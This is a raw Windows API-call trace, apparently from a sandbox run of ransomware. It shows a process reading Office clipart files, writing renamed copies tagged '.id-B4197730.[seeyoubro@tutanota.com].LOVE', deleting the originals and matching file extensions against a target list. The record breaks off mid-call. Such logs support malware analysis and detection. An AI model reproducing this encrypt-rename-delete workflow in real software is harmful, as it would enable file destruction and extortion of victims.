CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0207.106] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=7968) returned 1 [0207.106] CloseHandle (hObject=0x31c) returned 1 [0207.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 0x220 [0207.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0207.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0207.108] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.108] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0207.115] GetLastError () returned 0x0 [0207.115] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1f20, lpOverlapped=0x0) returned 1 [0207.131] WriteFile (in: hFile=0x384, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1f30, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1f30, lpOverlapped=0x0) returned 1 [0207.132] ReadFile (in: hFile=0x354, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.132] WriteFile (in: hFile=0x384, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.132] SetEndOfFile (hFile=0x384) returned 1 [0207.133] CloseHandle (hObject=0x384) returned 1 [0207.133] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.133] SetEndOfFile (hFile=0x354) returned 1 [0207.134] CloseHandle (hObject=0x354) returned 1 [0207.134] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01060_.wmf")) returned 1 [0207.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0207.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0207.135] lstrlenW (lpString=".doc") returned 4 [0207.135] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.135] lstrlenW (lpString=".docx") returned 5 [0207.135] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.135] lstrlenW (lpString=".pdf") returned 4 [0207.135] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.135] lstrlenW (lpString=".xls") returned 4 [0207.135] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.135] lstrlenW (lpString=".xlsx") returned 5 [0207.135] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.135] lstrlenW (lpString=".ppt") returned 4 [0207.135] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0207.135] lstrlenW (lpString=".zip") returned 4 [0207.135] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.135] lstrlenW (lpString=".rar") returned 4 [0207.135] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.135] lstrlenW (lpString=".bz2") returned 4 [0207.135] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.135] lstrlenW (lpString=".7z") returned 3 [0207.135] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0207.136] lstrlenW (lpString=".dbf") returned 4 [0207.136] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0207.136] lstrlenW (lpString=".1cd") returned 4 [0207.136] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0207.136] lstrlenW (lpString=".jpg") returned 4 [0207.136] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0207.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0207.136] lstrlenW (lpString=".doc") returned 4 [0207.136] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.136] lstrlenW (lpString=".docx") returned 5 [0207.136] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.136] lstrlenW (lpString=".pdf") returned 4 [0207.136] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.136] lstrlenW (lpString=".xls") returned 4 [0207.136] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.136] lstrlenW (lpString=".xlsx") returned 5 [0207.136] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.136] lstrlenW (lpString=".ppt") returned 4 [0207.136] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0207.137] lstrlenW (lpString=".zip") returned 4 [0207.137] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.137] lstrlenW (lpString=".rar") returned 4 [0207.137] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.137] lstrlenW (lpString=".bz2") returned 4 [0207.137] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.137] lstrlenW (lpString=".7z") returned 3 [0207.137] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0207.137] lstrlenW (lpString=".dbf") returned 4 [0207.137] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0207.137] lstrlenW (lpString=".1cd") returned 4 [0207.137] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01060_.WMF") returned 68 [0207.137] lstrlenW (lpString=".jpg") returned 4 [0207.137] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.138] GetLastError () returned 0x0 [0207.138] ReadFile (in: hFile=0x330, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x66dc, lpOverlapped=0x0) returned 1 [0207.230] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x66e0, lpOverlapped=0x0) returned 1 [0207.231] ReadFile (in: hFile=0x330, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.231] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.231] SetEndOfFile (hFile=0x354) returned 1 [0207.232] CloseHandle (hObject=0x354) returned 1 [0207.232] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.232] SetEndOfFile (hFile=0x330) returned 1 [0207.233] CloseHandle (hObject=0x330) returned 1 [0207.233] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.233] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0207.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0207.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0207.233] lstrlenW (lpString=".doc") returned 4 [0207.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.233] lstrlenW (lpString=".docx") returned 5 [0207.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.233] lstrlenW (lpString=".pdf") returned 4 [0207.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.233] lstrlenW (lpString=".xls") returned 4 [0207.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.233] lstrlenW (lpString=".xlsx") returned 5 [0207.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.234] lstrlenW (lpString=".ppt") returned 4 [0207.234] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0207.234] lstrlenW (lpString=".zip") returned 4 [0207.234] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.234] lstrlenW (lpString=".rar") returned 4 [0207.234] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.234] lstrlenW (lpString=".bz2") returned 4 [0207.234] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.234] lstrlenW (lpString=".7z") returned 3 [0207.234] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0207.234] lstrlenW (lpString=".dbf") returned 4 [0207.234] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0207.234] lstrlenW (lpString=".1cd") returned 4 [0207.234] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.234] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0207.234] lstrlenW (lpString=".jpg") returned 4 [0207.234] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.234] GetLastError () returned 0x0 [0207.234] ReadFile (in: hFile=0x330, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1ccc, lpOverlapped=0x0) returned 1 [0207.253] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1cd0, lpOverlapped=0x0) returned 1 [0207.254] ReadFile (in: hFile=0x330, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.254] WriteFile (in: hFile=0x354, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.254] SetEndOfFile (hFile=0x354) returned 1 [0207.255] CloseHandle (hObject=0x354) returned 1 [0207.255] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.255] SetEndOfFile (hFile=0x330) returned 1 [0207.255] CloseHandle (hObject=0x330) returned 1 [0207.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.256] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0207.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0207.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0207.259] lstrlenW (lpString=".doc") returned 4 [0207.259] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.259] lstrlenW (lpString=".docx") returned 5 [0207.259] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.259] lstrlenW (lpString=".pdf") returned 4 [0207.259] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.259] lstrlenW (lpString=".xls") returned 4 [0207.259] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.259] lstrlenW (lpString=".xlsx") returned 5 [0207.259] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.259] lstrlenW (lpString=".ppt") returned 4 [0207.260] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0207.260] lstrlenW (lpString=".zip") returned 4 [0207.260] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.260] lstrlenW (lpString=".rar") returned 4 [0207.260] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.260] lstrlenW (lpString=".bz2") returned 4 [0207.260] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.260] lstrlenW (lpString=".7z") returned 3 [0207.260] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0207.260] lstrlenW (lpString=".dbf") returned 4 [0207.260] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0207.260] lstrlenW (lpString=".1cd") returned 4 [0207.260] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 68 [0207.260] lstrlenW (lpString=".jpg") returned 4 [0207.260] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.264] GetLastError () returned 0x0 [0207.264] ReadFile (in: hFile=0x37c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x19e8, lpOverlapped=0x0) returned 1 [0207.293] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x19f0, lpOverlapped=0x0) returned 1 [0207.294] ReadFile (in: hFile=0x37c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.294] WriteFile (in: hFile=0x31c, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.295] SetEndOfFile (hFile=0x31c) returned 1 [0207.295] CloseHandle (hObject=0x31c) returned 1 [0207.295] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.295] SetEndOfFile (hFile=0x37c) returned 1 [0207.295] CloseHandle (hObject=0x37c) returned 1 [0207.295] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0207.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0207.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0207.296] lstrlenW (lpString=".doc") returned 4 [0207.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.296] lstrlenW (lpString=".docx") returned 5 [0207.296] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.296] lstrlenW (lpString=".pdf") returned 4 [0207.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.296] lstrlenW (lpString=".xls") returned 4 [0207.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.296] lstrlenW (lpString=".xlsx") returned 5 [0207.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.296] lstrlenW (lpString=".ppt") returned 4 [0207.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0207.296] lstrlenW (lpString=".zip") returned 4 [0207.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.296] lstrlenW (lpString=".rar") returned 4 [0207.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.296] lstrlenW (lpString=".bz2") returned 4 [0207.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.297] lstrlenW (lpString=".7z") returned 3 [0207.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0207.297] lstrlenW (lpString=".dbf") returned 4 [0207.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0207.297] lstrlenW (lpString=".1cd") returned 4 [0207.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 68 [0207.297] lstrlenW (lpString=".jpg") returned 4 [0207.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.298] GetLastError () returned 0x0 [0207.298] ReadFile (in: hFile=0x2f0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x17ac, lpOverlapped=0x0) returned 1 [0207.367] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x17b0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x17b0, lpOverlapped=0x0) returned 1 [0207.368] ReadFile (in: hFile=0x2f0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.368] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.368] SetEndOfFile (hFile=0x374) returned 1 [0207.368] CloseHandle (hObject=0x374) returned 1 [0207.368] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.368] SetEndOfFile (hFile=0x2f0) returned 1 [0207.369] CloseHandle (hObject=0x2f0) returned 1 [0207.369] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0207.370] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an04117_.wmf")) returned 1 [0207.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0207.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0207.370] lstrlenW (lpString=".doc") returned 4 [0207.370] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0207.370] lstrlenW (lpString=".docx") returned 5 [0207.370] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0207.370] lstrlenW (lpString=".pdf") returned 4 [0207.370] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0207.370] lstrlenW (lpString=".xls") returned 4 [0207.370] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0207.370] lstrlenW (lpString=".xlsx") returned 5 [0207.370] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0207.370] lstrlenW (lpString=".ppt") returned 4 [0207.370] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0207.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0207.370] lstrlenW (lpString=".zip") returned 4 [0207.370] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0207.370] lstrlenW (lpString=".rar") returned 4 [0207.371] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0207.371] lstrlenW (lpString=".bz2") returned 4 [0207.371] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0207.371] lstrlenW (lpString=".7z") returned 3 [0207.371] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0207.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0207.371] lstrlenW (lpString=".dbf") returned 4 [0207.371] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0207.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0207.371] lstrlenW (lpString=".1cd") returned 4 [0207.371] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0207.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN04117_.WMF") returned 68 [0207.371] lstrlenW (lpString=".jpg") returned 4 [0207.371] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0207.371] GetLastError () returned 0x0 [0207.371] ReadFile (in: hFile=0x2f0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xa4c, lpOverlapped=0x0) returned 1 [0207.454] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xa50, lpOverlapped=0x0) returned 1 [0207.455] ReadFile (in: hFile=0x2f0, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.455] WriteFile (in: hFile=0x374, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xec, lpOverlapped=0x0) returned 1 [0207.456] SetEndOfFile (hFile=0x374) returned 1 [0207.456] CloseHandle (hObject=0x374) returned 1 [0207.456] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.456] SetEndOfFile 